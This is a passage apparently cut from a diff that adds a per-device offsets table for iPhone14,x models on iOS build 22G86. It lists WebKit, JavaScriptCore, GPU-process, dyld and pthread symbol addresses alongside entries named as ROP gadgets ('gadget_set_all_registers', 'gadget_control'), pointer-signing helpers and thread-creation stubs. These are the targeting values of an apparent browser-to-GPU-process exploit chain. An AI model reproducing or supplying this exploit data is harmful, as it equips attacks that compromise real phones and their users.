0x1ed8823f0n, + WebCore__softLinkOTSVGOTSVGTableRelease : 0x1ee964548n, + WebCore__TelephoneNumberDetector_phoneNumbersScanner_value : 0x1eb7696b0n, + WebCore__ZZN7WebCoreL29allScriptExecutionContextsMapEvE8contexts : 0x1eb724300n, + WebProcess_ensureGPUProcessConnection : 0x198da2e34n, + WebProcess_gpuProcessConnectionClosed : 0x19976ec4cn, + WebProcess_singleton : 0x1ed878040n, + WebCore__HTMLDocument_vtable : 0x1f10d9a68n, + }, + "iPhone14,3_22G86": { + __pthread_head : 0x269ae0020n, + AVFAudio__AVLoadSpeechSynthesisImplementation_onceToken : 0x1ed8f6528n, + AVFAudio__cfstr_SystemLibraryTextToSpeech : 0x1f1772560n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisMarker : 0x1ed8f6010n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisProviderRequest : 0x1ed8f5f70n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisVoice : 0x1ed8f5fc0n, + AVFAudio__OBJC_CLASS__AVSpeechUtterance : 0x1ed8f53b8n, + AXCoreUtilities__DefaultLoader : 0x1eb6086b0n, + CAPointer : 0x20n, + CFNetwork__gConstantCFStringValueTable : 0x1ee74ee88n, + CGContextDelegate : 0x28n, + CMPhoto__CMPhotoCompressionCreateContainerFromImageExt : 0x1abfac470n, + CMPhoto__CMPhotoCompressionCreateDataContainerFromImage : 0x1abfac5c8n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImage : 0x1abf7bd00n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation : 0x1abf7c22cn, + CMPhoto__CMPhotoCompressionSessionAddCustomMetadata : 0x1abf7c790n, + CMPhoto__CMPhotoCompressionSessionAddExif : 0x1abf7c34cn, + CMPhoto__kCMPhotoTranscodeOption_Strips : 0x1e7e95b70n, + DesktopServicesPriv_bss : 0x1ecac95a8n, + dyld__dlopen_from_lambda_ret : 0x1a95f1fc8n, + dyld__RuntimeState_emptySlot : 0x1a9633b6cn, + dyld__RuntimeState_vtable : 0x1f268ffb0n, + dyld__signPointer : 0x1a95fd3e4n, + emptyString : 0x1ed92c420n, + Foundation__NSBundleTables_bundleTables_value : 0x1ed704248n, + free_slabs : 0x1ed7bd9d0n, + gadget_control_1_ios184 : 0x23ed192ecn, + gadget_control_2_ios184 : 0x1ad42cc28n, + gadget_control_3_ios184 : 0x21f01d150n, + gadget_loop_1_ios184 : 0x1866085dcn, + gadget_loop_2_ios184 : 0x20cfd9ce8n, + gadget_loop_3_ios184 : 0x184d39f1cn, + gadget_set_all_registers_ios184 : 0x20dd5216cn, + GetCurrentThreadTLSIndex_CurrentThreadIndex : 0x1ee610660n, + GPUConnectionToWebProcess_m_remoteGraphicsContextGLMap : 0xf0n, + GPUProcess_singleton : 0x1eb76f2a0n, + HOMEUI_cstring : 0x182f764e6n, + ImageIO__gFunc_CMPhotoCompressionCreateContainerFromImageExt : 0x1ed7d6bf0n, + ImageIO__gFunc_CMPhotoCompressionCreateDataContainerFromImage : 0x1ed7d68a0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImage : 0x1ed7d68a8n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation : 0x1ed7d68b0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddCustomMetadata : 0x1ed7d67f0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddExif : 0x1ed7d68b8n, + ImageIO__gImageIOLogProc : 0x1ee7d93f0n, + ImageIO__IIOLoadCMPhotoSymbols : 0x18866282cn, + IOSurfaceContextDelegate : 0x120n, + IOSurfaceDrawable : 0x150n, + IOSurfaceQueue : 0x48n, + JavaScriptCore__globalFuncParseFloat : 0x19a4ea8bcn, + JavaScriptCore__jitAllowList : 0x1ed956470n, + JavaScriptCore__jitAllowList_once : 0x1ed956288n, + jsc_base : 0x19a0fe000n, + libARI_cstring : 0x218869820n, + libdyld__dlopen : 0x1ad42e7b8n, + libdyld__dlsym : 0x1ad42fa34n, + libdyld__gAPIs : 0x1ed3d0000n, + libGPUCompilerImplLazy__invoker : 0x23cabb8b4n, + libGPUCompilerImplLazy_cstring : 0x23bc05870n, + libsystem_c__atexit_mutex : 0x1ed6e2e58n, + libsystem_kernel__thread_suspend : 0x1d39f31c0n, + libsystem_pthread_base : 0x20d028000n, + m_backend : 0x70n, + m_drawingArea : 0x50n, + m_gpuProcessConnection : 0x158n, + m_gpuProcessConnection_m_identifier : 0x38n, + m_imageBuffer : 0x18n, + m_isRenderingSuspended : 0xe8n, + m_platformContext : 0x38n, + m_remoteDisplayLists : 0x70n, + m_remoteRenderingBackendMap : 0xe8n, + m_webProcessConnections : 0x80n, + mach_task_self_ptr : 0x1ed6e20c0n, + mainRunLoop : 0x1ed944020n, + MediaAccessibility__MACaptionAppearanceGetDisplayType : 0x1ba829744n, + PerfPowerServicesReader_cstring : 0x257a6ae60n, + privateState_off : 0x7e8n, + pthread_create : 0x20d02e988n, + pthread_create_auth_stub : 0x17a4830n, + pthread_create_jsc : 0x19b8a2830n, + pthread_create_offset : 0x6988n, + pthread_linkedit : 0x272178000n, + RemoteGraphicsContextGLWorkQueue : 0x1ed876e68n, + RemoteRenderingBackendProxy_off : 0x830n, + runLoopHolder_tid : 0x1ed954708n, + rxBufferMtl_off : 0x100n, + rxMtlBuffer_off : 0x70n, + Security__gSecurityd : 0x1eb4ce0b0n, + Security__SecKeychainBackupSyncable_block_invoke : 0x18b5ea930n, + Security__SecOTRSessionProcessPacketRemote_block_invoke : 0x18b5fec00n, + TextToSpeech__OBJC_CLASS__TtC12TextToSpeech27TTSMagicFirstPartyAudioUnit : 0x1edba53b8n, + UI_m_connection : 0x28n, + vertexAttribVector_off : 0x2548n, + WebCore__DedicatedWorkerGlobalScope_vtable : 0x1f1196630n, + WebCore__initPKContact_once : 0x1ed883c38n, + WebCore__initPKContact_value : 0x1ed883c40n, + WebCore__PAL_getPKContactClass : 0x1ed87b0f8n, + WebCore__softLinkDDDFACacheCreateFromFramework : 0x1ed882410n, + WebCore__softLinkDDDFAScannerFirstResultInUnicharArray : 0x1ed882408n, + WebCore__softLinkMediaAccessibilityMACaptionAppearanceGetDisplayType : 0x1ed8823f0n, + WebCore__softLinkOTSVGOTSVGTableRelease : 0x1ee964548n, + WebCore__TelephoneNumberDetector_phoneNumbersScanner_value : 0x1eb7696b0n, + WebCore__ZZN7WebCoreL29allScriptExecutionContextsMapEvE8contexts : 0x1eb724300n, + WebProcess_ensureGPUProcessConnection : 0x198da2e34n, + WebProcess_gpuProcessConnectionClosed : 0x19976ec4cn, + WebProcess_singleton : 0x1ed878040n, + WebCore__HTMLDocument_vtable : 0x1f10d9a68n, + }, + "iPhone14,4_22G86": { + __pthread_head : 0x2690cc020n, + AVFAudio__AVLoadSpeechSynthesisImplementation_onceToken : 0x1ed8f63e8n, + AVFAudio__cfstr_SystemLibraryTextToSpeech : 0x1f1772560n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisMarker : 0x1ed8f5ed0n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisProviderRequest : 0x1ed8f5e30n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisVoice : 0x1ed8f5e80n, + AVFAudio__OBJC_CLASS__AVSpeechUtterance : 0x1ed8f5278n, + AXCoreUtilities__DefaultLoader : 0x1eb6086b0n, + CAPointer : 0x20n, + CFNetwork__gConstantCFStringValueTable : 0x1ee74ee88n, + CGContextDelegate : 0x28n, + CMPhoto__CMPhotoCompressionCreateContainerFromImageExt : 0x1abfac470n, + CMPhoto__CMPhotoCompressionCreateDataContainerFromImage : 0x1abfac5c8n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImage : 0x1abf7bd00n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation : 0x1abf7c22cn, + CMPhoto__CMPhotoCompressionSessionAddCustomMetadata : 0x1abf7c790n, + CMPhoto__CMPhotoCompressionSessionAddExif : 0x1abf7c34cn, + CMPhoto__kCMPhotoTranscodeOption_Strips : 0x1e7e95b70n, + DesktopServicesPriv_bss : 0x1ecac95a8n, + dyld__dlopen_from_lambda_ret : 0x1a95f1fc8n, + dyld__RuntimeState_emptySlot : 0x1a9633b6cn, + dyld__RuntimeState_vtable : 0x1f268ffb0n, + dyld__signPointer : 0x1a95fd3e4n, + emptyString : 0x1ed92c420n, + Foundation__NSBundleTables_bundleTables_value : 0x1ed704108n, + free_slabs : 0x1ed7bd890n, + gadget_control_1_ios184 : 0x23ed152ecn, + gadget_control_2_ios184 : 0x1ad42cc28n, + gadget_control_3_ios184 : 0x21f019150n, + gadget_loop_1_ios184 : 0x1866085dcn, + gadget_loop_2_ios184 : 0x20cfd5ce8n, + gadget_loop_3_ios184 : 0x184d39f1cn, + gadget_set_all_registers_ios184 : 0x20dd4e16cn, + GetCurrentThreadTLSIndex_CurrentThreadIndex : 0x1ee610660n, + GPUConnectionToWebProcess_m_remoteGraphicsContextGLMap : 0xf0n, + GPUProcess_singleton : 0x1eb76f2a0n, + HOMEUI_cstring : 0x182f764e6n, + ImageIO__gFunc_CMPhotoCompressionCreateContainerFromImageExt : 0x1ed7d6ab0n, + ImageIO__gFunc_CMPhotoCompressionCreateDataContainerFromImage : 0x1ed7d6760n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImage : 0x1ed7d6768n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation : 0x1ed7d6770n, + ImageIO__gFunc_CMPhotoCompressionSessionAddCustomMetadata : 0x1ed7d66b0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddExif : 0x1ed7d6778n, + ImageIO__gImageIOLogProc : 0x1ee7d93f0n, + ImageIO__IIOLoadCMPhotoSymbols : 0x18866282cn, + IOSurfaceContextDelegate : 0x120n, + IOSurfaceDrawable : 0x150n, + IOSurfaceQueue : 0x48n, + JavaScriptCore__globalFuncParseFloat : 0x19a4ea8bcn, + JavaScriptCore__jitAllowList : 0x1ed956470n, + JavaScriptCore__jitAllowList_once : 0x1ed956288n, + jsc_base : 0x19a0fe000n, + libARI_cstring : 0x218865820n, + libdyld__dlopen : 0x1ad42e7b8n, + libdyld__dlsym : 0x1ad42fa34n, + libdyld__gAPIs : 0x1ed3d0000n, + libGPUCompilerImplLazy__invoker : 0x23cab78b4n, + libGPUCompilerImplLazy_cstring : 0x23bc01870n, + libsystem_c__atexit_mutex : 0x1ed6e2d18n, + libsystem_kernel__thread_suspend : 0x1d39f31c0n, + libsystem_pthread_base : 0x20d024000n, + m_backend : 0x70n, + m_drawingArea : 0x50n, + m_gpuProcessConnection : 0x158n, + m_gpuProcessConnection_m_identifier : 0x38n, + m_imageBuffer : 0x18n, + m_isRenderingSuspended : 0xe8n, + m_platformContext : 0x38n, + m_remoteDisplayLists : 0x70n, + m_remoteRenderingBackendMap : 0xe8n, + m_webProcessConnections : 0x80n, + mach_task_self_ptr : 0x1ed6e1f80n, + mainRunLoop : 0x1ed944020n, + MediaAccessibility__MACaptionAppearanceGetDisplayType : 0x1ba829744n, + PerfPowerServicesReader_cstring : 0x25790be60n, + privateState_off : 0x7e8n, + pthread_create : 0x20d02a988n, + pthread_create_auth_stub : 0x17a4830n, + pthread_create_jsc : 0x19b8a2830n, + pthread_create_offset : 0x6988n, + pthread_linkedit : 0x27174c000n, + RemoteGraphicsContextGLWorkQueue : 0x1ed876d28n, + RemoteRenderingBackendProxy_off : 0x830n, + runLoopHolder_tid : 0x1ed954708n, + rxBufferMtl_off : 0x100n, + rxMtlBuffer_off : 0x70n, + Security__gSecurityd : 0x1eb4ce0b0n, + Security__SecKeychainBackupSyncable_block_invoke : 0x18b5ea930n, + Security__SecOTRSessionProcessPacketRemote_block_invoke : 0x18b5fec00n, + TextToSpeech__OBJC_CLASS__TtC12TextToSpeech27TTSMagicFirstPartyAudioUnit : 0x1edba53b8n, + UI_m_connection : 0x28n, + vertexAttribVector_off : 0x2548n, + WebCore__DedicatedWorkerGlobalScope_vtable : 0x1f1196630n, + WebCore__initPKContact_once : 0x1ed883af8n, + WebCore__initPKContact_value : 0x1ed883b00n, + WebCore__PAL_getPKContactClass : 0x1ed87afb8n, + WebCore__softLinkDDDFACacheCreateFromFramework : 0x1ed8822d0n, + WebCore__softLinkDDDFAScannerFirstResultInUnicharArray : 0x1ed8822c8n, + WebCore__softLinkMediaAccessibilityMACaptionAppearanceGetDisplayType : 0x1ed8822b0n, + WebCore__softLinkOTSVGOTSVGTableRelease : 0x1ee964548n, + WebCore__TelephoneNumberDetector_phoneNumbersScanner_value : 0x1eb7696b0n, + WebCore__ZZN7WebCoreL29allScriptExecutionContextsMapEvE8contexts : 0x1eb724300n, + WebProcess_ensureGPUProcessConnection : 0x198da2e34n, + WebProcess_gpuProcessConnectionClosed : 0x19976ec4cn, + WebProcess_singleton : 0x1ed877f00n, + WebCore__HTMLDocument_vtable : 0x1f10d9a68n, + }, + "iPhone14,5_22G86": { + __pthread_head : 0x2690cc020n, + AVFAudio__AVLoadSpeechSynthesisImplementation_onceToken : 0x1ed8f63e8n, + AVFAudio__cfstr_SystemLibraryTextToSpeech : 0x1f1772560n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisMarker : 0x1ed8f5ed0n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisProviderRequest : 0x1ed8f5e30n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisVoice : 0x1ed8f5e80n, + AVFAudio__OBJC_CLASS__AVSpeechUtterance : 0x1ed8f5278n, + AXCoreUtilities__DefaultLoader : 0x1eb6086b0n, + CAPointer : 0x20n, + CFNetwork__gConstantCFStringValueTable : 0x1ee74ee88n, + CGContextDelegate : 0x28n, + CMPhoto__CMPhotoCompressionCreateContainerFromImageExt : 0x1abfac470n, + CMPhoto__CMPhotoCompressionCreateDataContainerFromImage : 0x1abfac5c8n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImage : 0x1abf7bd00n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation : 0x1abf7c22cn, + CMPhoto__CMPhotoCompressionSessionAddCustomMetadata : 0x1abf7c790n, + CMPhoto__CMPhotoCompressionSessionAddExif : 0x1abf7c34cn, + CMPhoto__kCMPhotoTranscodeOption_Strips : 0x1e7e95b70n, + DesktopServicesPriv_bss : 0x1ecac95a8n, + dyld__dlopen_from_lambda_ret : 0x1a95f1fc8n, + dyld__RuntimeState_emptySlot : 0x1a9633b6cn, + dyld__RuntimeState_vtable : 0x1f268ffb0n, + dyld__signPointer : 0x1a95fd3e4n, + emptyString : 0x1ed92c420n, + Foundation__NSBundleTables_bundleTables_value : 0x1ed704108n, + free_slabs : 0x1ed7bd890n, + gadget_control_1_ios184 : 0x23ed152ecn, + gadget_control_2_ios184 : 0x1ad42cc28n, + gadget_control_3_ios184 : 0x21f019150n, + gadget_loop_1_ios184 : 0x1866085dcn, + gadget_loop_2_ios184 : 0x20cfd5ce8n, + gadget_loop_3_ios184 : 0x184d39f1cn, + gadget_set_all_registers_ios184 : 0x20dd4e16cn, + GetCurrentThreadTLSIndex_CurrentThreadIndex : 0x1ee610660n, + GPUConnectionToWebProcess_m_remoteGraphicsContextGLMap : 0xf0n, + GPUProcess_singleton : 0x1eb76f2a0n, + HOMEUI_cstring : 0x182f764e6n, + ImageIO__gFunc_CMPhotoCompressionCreateContainerFromImageExt : 0x1ed7d6ab0n, + ImageIO__gFunc_CMPhotoCompressionCreateDataContainerFromImage : 0x1ed7d6760n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImage : 0x1ed7d6768n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation : 0x1ed7d6770n, + ImageIO__gFunc_CMPhotoCompressionSessionAddCustomMetadata : 0x1ed7d66b0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddExif : 0x1ed7d6778n, + ImageIO__gImageIOLogProc : 0x1ee7d93f0n, + ImageIO__IIOLoadCMPhotoSymbols : 0x18866282cn, + IOSurfaceContextDelegate : 0x120n, + IOSurfaceDrawable : 0x150n, + IOSurfaceQueue : 0x48n, + JavaScriptCore__globalFuncParseFloat : 0x19a4ea8bcn, + JavaScriptCore__jitAllowList : 0x1ed956470n, + JavaScriptCore__jitAllowList_once : 0x1ed956288n, + jsc_base : 0x19a0fe000n, + libARI_cstring : 0x218865820n, + libdyld__dlopen : 0x1ad42e7b8n, + libdyld__dlsym : 0x1ad42fa34n, + libdyld__gAPIs : 0x1ed3d0000n, + libGPUCompilerImplLazy__invoker : 0x23cab78b4n, + libGPUCompilerImplLazy_cstring : 0x23bc01870n, + libsystem_c__atexit_mutex : 0x1ed6e2d18n, + libsystem_kernel__thread_suspend : 0x1d39f31c0n, + libsystem_pthread_base : 0x20d024000n, + m_backend : 0x70n, + m_drawingArea : 0x50n, + m_gpuProcessConnection : 0x158n, + m_gpuProcessConnection_m_identifier : 0x38n, + m_imageBuffer : 0x18n, + m_isRenderingSuspended : 0xe8n, + m_platformContext : 0x38n, + m_remoteDisplayLists : 0x70n, + m_remoteRenderingBackendMap : 0xe8n, + m_webProcessConnections : 0x80n, + mach_task_self_ptr : 0x1ed6e1f80n, + mainRunLoop : 0x1ed944020n, + MediaAccessibility__MACaptionAppearanceGetDisplayType : 0x1ba829744n, + PerfPowerServicesReader_cstring : 0x25790be60n, + privateState_off : 0x7e8n, + pthread_create : 0x20d02a988n, + pthread_create_auth_stub : 0x17a4830n, + pthread_create_jsc : 0x19b8a2830n, + pthread_create_offset : 0x6988n, + pthread_linkedit : 0x27174c000n, + RemoteGraphicsContextGLWorkQueue : 0x1ed876d28n, + RemoteRenderingBackendProxy_off : 0x830n, + runLoopHolder_tid : 0x1ed954708n, + rxBufferMtl_off : 0x100n, + rxMtlBuffer_off : 0x70n, + Security__gSecurityd : 0x1eb4ce0b0n, + Security__SecKeychainBackupSyncable_block_invoke : 0x18b5ea930n, + Security__SecOTRSessionProcessPacketRemote_block_invoke : 0x18b5fec00n, + TextToSpeech__OBJC_CLASS__TtC12TextToSpeech27TTSMagicFirstPartyAudioUnit : 0x1edba53b8n, + UI_m_connection : 0x28n, + vertexAttribVector_off : 0x2548n, + WebCore__DedicatedWorkerGlobalScope_vtable : 0x1f1196630n, + WebCore__initPKContact_once : 0x1ed883af8n, + WebCore__initPKContact_value : 0x1ed883b00n, + WebCore__PAL_getPKContactClass : 0x1ed87afb8n, + WebCore__softLinkDDDFACacheCreateFromFramework : 0x1ed8822d0n, + WebCore__softLinkDDDFAScannerFirstResultInUnicharArray : 0x1ed8822c8n, + WebCore__softLinkMediaAccessibilityMACaptionAppearanceGetDisplayType : 0x1ed8822b0n, + WebCore__softLinkOTSVGOTSVGTableRelease : 0x1ee964548n, + WebCore__TelephoneNumberDetector_phoneNumbersScanner_value : 0x1eb7696b0n, + WebCore__ZZN7WebCoreL29allScriptExecutionContextsMapEvE8contexts : 0x1eb724300n, + WebProcess_ensureGPUProcessConnection : 0x198da2e34n, + WebProcess_gpuProcessConnectionClosed : 0x19976ec4cn, + WebProcess_singleton : 0x1ed877f00n, + WebCore__HTMLDocument_vtable : 0x1f10d9a68n, + }, + "iPhone14,6_22G86": { + __pthread_head : 0x26907c020n, + AVFAudio__AVLoadSpeechSynthesisImplementation_onceToken : 0x1ed8fa1e8n, + AVFAudio__cfstr_SystemLibraryTextToSpeech : 0x1f1776560n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisMarker : 0x1ed8f9cd0n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisProviderRequest : 0x1ed8f9c30n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisVoice : 0x1ed8f9c80n, + AVFAudio__OBJC_CLASS__AVSpeechUtterance : 0x1ed8f9078n, + AXCoreUtilities__DefaultLoader : 0x1eb60c6b0n, + CAPointer : 0x20n, + CFNetwork__gConstantCFStringValueTable : 0x1ee752e88n, + CGContextDelegate : 0x28n, + CMPhoto__CMPhotoCompressionCreateContainerFromImageExt : 0x1abfac470n, + CMPhoto__CMPhotoCompressionCreateDataContainerFromImage : 0x1abfac5c8n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImage : 0x1abf7bd00n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation : 0x1abf7c22cn, + CMPhoto__CMPhotoCompressionSessionAddCustomMetadata : 0x1abf7c790n, + CMPhoto__CMPhotoCompressionSessionAddExif : 0x1abf7c34cn, + CMPhoto__kCMPhotoTranscodeOption_Strips : 0x1e7e95d70n, + DesktopServicesPriv_bss : 0x1ecacd5a8n, + dyld__dlopen_from_lambda_ret : 0x1a95f1fc8n, + dyld__RuntimeState_emptySlot : 0x1a9633b6cn, + dyld__RuntimeState_vtable : 0x1f2693fb0n, + dyld__signPointer : 0x1a95fd3e4n, + emptyString : 0x1ed930420n, + Foundation__NSBundleTables_bundleTables_value : 0x1ed707f08n, + free_slabs : 0x1ed7c1690n, + gadget_control_1_ios184 : 0x23ec912ecn, + gadget_control_2_ios184 : 0x1ad42cc28n, + gadget_control_3_ios184 : 0x21f01d150n, + gadget_loop_1_ios184 : 0x1866085dcn, + gadget_loop_2_ios184 : 0x20cfd9ce8n, + gadget_loop_3_ios184 : 0x184d39f1cn, + gadget_set_all_registers_ios184 : 0x20dd5216cn, + GetCurrentThreadTLSIndex_CurrentThreadIndex : 0x1ee614660n, + GPUConnectionToWebProcess_m_remoteGraphicsContextGLMap : 0xf0n, + GPUProcess_singleton : 0x1eb7732a0n, + HOMEUI_cstring : 0x182f764e6n, + ImageIO__gFunc_CMPhotoCompressionCreateContainerFromImageExt : 0x1ed7da8b0n, + ImageIO__gFunc_CMPhotoCompressionCreateDataContainerFromImage : 0x1ed7da560n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImage : 0x1ed7da568n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation : 0x1ed7da570n, + ImageIO__gFunc_CMPhotoCompressionSessionAddCustomMetadata : 0x1ed7da4b0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddExif : 0x1ed7da578n, + ImageIO__gImageIOLogProc : 0x1ee7dd3f0n, + ImageIO__IIOLoadCMPhotoSymbols : 0x18866282cn, + IOSurfaceContextDelegate : 0x120n, + IOSurfaceDrawable : 0x150n, + IOSurfaceQueue : 0x48n, + JavaScriptCore__globalFuncParseFloat : 0x19a4ea8bcn, + JavaScriptCore__jitAllowList : 0x1ed95a470n, + JavaScriptCore__jitAllowList_once : 0x1ed95a288n, + jsc_base : 0x19a0fe000n, + libARI_cstring : 0x218869820n, + libdyld__dlopen : 0x1ad42e7b8n, + libdyld__dlsym : 0x1ad42fa34n, + libdyld__gAPIs : 0x1ed3d4000n, + libGPUCompilerImplLazy__invoker : 0x23ca338b4n, + libGPUCompilerImplLazy_cstring : 0x23bb7d870n, + libsystem_c__atexit_mutex : 0x1ed6e6b18n, + libsystem_kernel__thread_suspend : 0x1d39f31c0n, + libsystem_pthread_base : 0x20d028000n, + m_backend : 0x70n, + m_drawingArea : 0x50n, + m_gpuProcessConnection : 0x158n, + m_gpuProcessConnection_m_identifier : 0x38n, + m_imageBuffer : 0x18n, + m_isRenderingSuspended : 0xe8n, + m_platformContext : 0x38n, + m_remoteDisplayLists : 0x70n, + m_remoteRenderingBackendMap : 0xe8n, + m_webProcessConnections : 0x80n, + mach_task_self_ptr : 0x1ed6e5d80n, + mainRunLoop : 0x1ed948020n, + MediaAccessibility__MACaptionAppearanceGetDisplayType : 0x1ba829744n, + PerfPowerServicesReader_cstring : 0x257883e60n, + privateState_off : 0x7e8n, + pthread_create : 0x20d02e988n, + pthread_create_auth_stub : 0x17a4830n, + pthread_create_jsc : 0x19b8a2830n, + pthread_create_offset : 0x6988n, + pthread_linkedit : 0x2716f4000n, + RemoteGraphicsContextGLWorkQueue : 0x1ed87ab28n, + RemoteRenderingBackendProxy_off : 0x830n, + runLoopHolder_tid : 0x1ed958708n, + rxBufferMtl_off : 0x100n, + rxMtlBuffer_off : 0x70n, + Security__gSecurityd : 0x1eb4d20b0n, + Security__SecKeychainBackupSyncable_block_invoke : 0x18b5ea930n, + Security__SecOTRSessionProcessPacketRemote_block_invoke : 0x18b5fec00n, + TextToSpeech__OBJC_CLASS__TtC12TextToSpeech27TTSMagicFirstPartyAudioUnit : 0x1edba93b8n, + UI_m_connection : 0x28n, + vertexAttribVector_off : 0x2548n, + WebCore__DedicatedWorkerGlobalScope_vtable : 0x1f119a630n, + WebCore__initPKContact_once : 0x1ed8878f8n, + WebCore__initPKContact_value : 0x1ed887900n, + WebCore__PAL_getPKContactClass : 0x1ed87edb8n, + WebCore__softLinkDDDFACacheCreateFromFramework : 0x1ed8860d0n, + WebCore__softLinkDDDFAScannerFirstResultInUnicharArray : 0x1ed8860c8n, + WebCore__softLinkMediaAccessibilityMACaptionAppearanceGetDisplayType : 0x1ed8860b0n, + WebCore__softLinkOTSVGOTSVGTableRelease : 0x1ee968548n, + WebCore__TelephoneNumberDetector_phoneNumbersScanner_value : 0x1eb76d6b0n, + WebCore__ZZN7WebCoreL29allScriptExecutionContextsMapEvE8contexts : 0x1eb728300n, + WebProcess_ensureGPUProcessConnection : 0x198da2e34n, + WebProcess_gpuProcessConnectionClosed : 0x19976ec4cn, + WebProcess_singleton : 0x1ed87bd00n, + WebCore__HTMLDocument_vtable : 0x1f10dda68n, + }, + "iPhone14,7_22G86": { + __pthread_head : 0x269494020n, + AVFAudio__AVLoadSpeechSynthesisImplementation_onceToken : 0x1ed8f65a8n, + AVFAudio__cfstr_SystemLibraryTextToSpeech : 0x1f1772560n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisMarker : 0x1ed8f6090n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisProviderRequest : 0x1ed8f5ff0n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisVoice : 0x1ed8f6040n, + AVFAudio__OBJC_CLASS__AVSpeechUtterance : 0x1ed8f5438n, + AXCoreUtilities__DefaultLoader : 0x1eb6086b0n, + CAPointer : 0x20n, + CFNetwork__gConstantCFStringValueTable : 0x1ee74ee88n, + CGContextDelegate : 0x28n, + CMPhoto__CMPhotoCompressionCreateContainerFromImageExt : 0x1abfac470n, + CMPhoto__CMPhotoCompressionCreateDataContainerFromImage : 0x1abfac5c8n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImage : 0x1abf7bd00n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation : 0x1abf7c22cn, + CMPhoto__CMPhotoCompressionSessionAddCustomMetadata : 0x1abf7c790n, + CMPhoto__CMPhotoCompressionSessionAddExif : 0x1abf7c34cn, + CMPhoto__kCMPhotoTranscodeOption_Strips : 0x1e7e95b70n, + DesktopServicesPriv_bss : 0x1ecac95a8n, + dyld__dlopen_from_lambda_ret : 0x1a95f1fc8n, + dyld__RuntimeState_emptySlot : 0x1a9633b6cn, + dyld__RuntimeState_vtable : 0x1f268ffb0n, + dyld__signPointer : 0x1a95fd3e4n, + emptyString : 0x1ed92c420n, + Foundation__NSBundleTables_bundleTables_value : 0x1ed7042c8n, + free_slabs : 0x1ed7bda50n, + gadget_control_1_ios184 : 0x23ed292ecn, + gadget_control_2_ios184 : 0x1ad42cc28n, + gadget_control_3_ios184 : 0x21f02d150n, + gadget_loop_1_ios184 : 0x1866085dcn, + gadget_loop_2_ios184 : 0x20cfe9ce8n, + gadget_loop_3_ios184 : 0x184d39f1cn, + gadget_set_all_registers_ios184 : 0x20dd6216cn, + GetCurrentThreadTLSIndex_CurrentThreadIndex : 0x1ee610660n, + GPUConnectionToWebProcess_m_remoteGraphicsContextGLMap : 0xf0n, + GPUProcess_singleton : 0x1eb76f2a0n, + HOMEUI_cstring : 0x182f764e6n, + ImageIO__gFunc_CMPhotoCompressionCreateContainerFromImageExt : 0x1ed7d6c70n, + ImageIO__gFunc_CMPhotoCompressionCreateDataContainerFromImage : 0x1ed7d6920n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImage : 0x1ed7d6928n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation : 0x1ed7d6930n, + ImageIO__gFunc_CMPhotoCompressionSessionAddCustomMetadata : 0x1ed7d6870n, + ImageIO__gFunc_CMPhotoCompressionSessionAddExif : 0x1ed7d6938n, + ImageIO__gImageIOLogProc : 0x1ee7d93f0n, + ImageIO__IIOLoadCMPhotoSymbols : 0x18866282cn, + IOSurfaceContextDelegate : 0x120n, + IOSurfaceDrawable : 0x150n, + IOSurfaceQueue : 0x48n, + JavaScriptCore__globalFuncParseFloat : 0x19a4ea8bcn, + JavaScriptCore__jitAllowList : 0x1ed956470n, + JavaScriptCore__jitAllowList_once : 0x1ed956288n, + jsc_base : 0x19a0fe000n, + libARI_cstring : 0x218879820n, + libdyld__dlopen : 0x1ad42e7b8n, + libdyld__dlsym : 0x1ad42fa34n, + libdyld__gAPIs : 0x1ed3d0000n, + libGPUCompilerImplLazy__invoker : 0x23cacb8b4n, + libGPUCompilerImplLazy_cstring : 0x23bc15870n, + libsystem_c__atexit_mutex : 0x1ed6e2ed8n, + libsystem_kernel__thread_suspend : 0x1d39f31c0n, + libsystem_pthread_base : 0x20d038000n, + m_backend : 0x70n, + m_drawingArea : 0x50n, + m_gpuProcessConnection : 0x158n, + m_gpuProcessConnection_m_identifier : 0x38n, + m_imageBuffer : 0x18n, + m_isRenderingSuspended : 0xe8n, + m_platformContext : 0x38n, + 